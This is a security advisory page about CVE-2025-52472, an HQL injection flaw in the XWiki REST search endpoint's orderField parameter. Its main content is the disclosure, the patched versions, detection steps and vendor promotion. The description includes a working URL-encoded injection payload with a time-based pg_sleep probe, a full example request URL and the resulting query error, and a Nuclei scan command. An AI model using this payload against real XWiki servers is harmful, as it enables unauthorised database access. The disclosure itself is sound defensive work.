CVE-2025-52472 — xwiki-platform-rest-server
Fix: xwiki/xwiki-platform@743ebf8CVE-2025-52472 is a SQL Injection vulnerability in org.xwiki.platform:xwiki-platform-rest-server. A fix is available for org.xwiki.platform:xwiki-platform-rest-server — see the affected versions and patch details below.
XWiki Platform vulnerable to HQL injection via wiki and space search REST API
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-52472.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
org.xwiki.platform:xwiki-platform-rest-server☕org.xwiki.platform:xwiki-platform-rest-serverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Impact
The REST search URL is vulnerable to HQL injection via the orderField parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it.
For example, with the following orderField parameter:
doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D'%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment'%20or%20a%3D'%20order%20by%20doc.fullName
See the following error:
QuerySyntaxException: unexpected token: $$ near line 1, column 518 [select distinct doc.fullName, doc.space, doc.name, doc.language, doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where (doc.hidden <> true or doc.hidden is null) and ($$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=') order by doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where ( (upper(doc.title) like :keywords) ) order by doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName asc]
For reference, the full URL for the above error is:
http://localhost:8080/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName
Patches
This has been patched in 17.5.0, 17.4.2, 16.10.9.
Workarounds
There is no known workaround, other than upgrading XWiki.
Resources
- https://jira.xwiki.org/browse/XWIKI-23247
- https://github.com/xwiki/xwiki-platform/commit/743ebf8696ffa55161ed2c5ecf26b09f69e6bcf1
- https://github.com/xwiki/xwiki-platform/commit/a45eca2af772abb7324e56d7fd2df1ac937bc445
For more information
If you have any questions or comments about this advisory:
- Open an issue in Jira XWiki.org
- Email us at Security Mailing List
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.xwiki.platform:xwiki-platform-rest-server | ≥ 17.0.0-rc-1&&< 17.4.2 | 17.4.2org.xwiki.platform:xwiki-platform-rest-server:17.4.2 |
| ☕Maven | org.xwiki.platform:xwiki-platform-rest-server | ≥ 4.3-milestone-1&&< 16.10.9 | 16.10.9org.xwiki.platform:xwiki-platform-rest-server:16.10.9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.xwiki.platform:xwiki-platform-rest-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.xwiki.platform:xwiki-platform-rest-server to 17.4.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-52472 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-52472 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-52472. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
How to detect CVE-2025-52472
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2025-52472 -u https://target- Template
- XWiki - HQL Injection
- Severity
- high
- Impact
- Unauthenticated attackers can inject malicious HQL queries through the orderField parameter, potentially leading to complete database compromise, data extraction, authentication bypass, or remote code execution.
- Remediation
- Update XWiki to a version that patches this vulnerability. Review and sanitize all user-controlled parameters that are used in database queries, especially those passed to HQL queries.
Template by ProjectDiscovery nuclei-templates (ritikchaddha), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2025-52472 in your dependencies?
O3 Security finds CVE-2025-52472 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.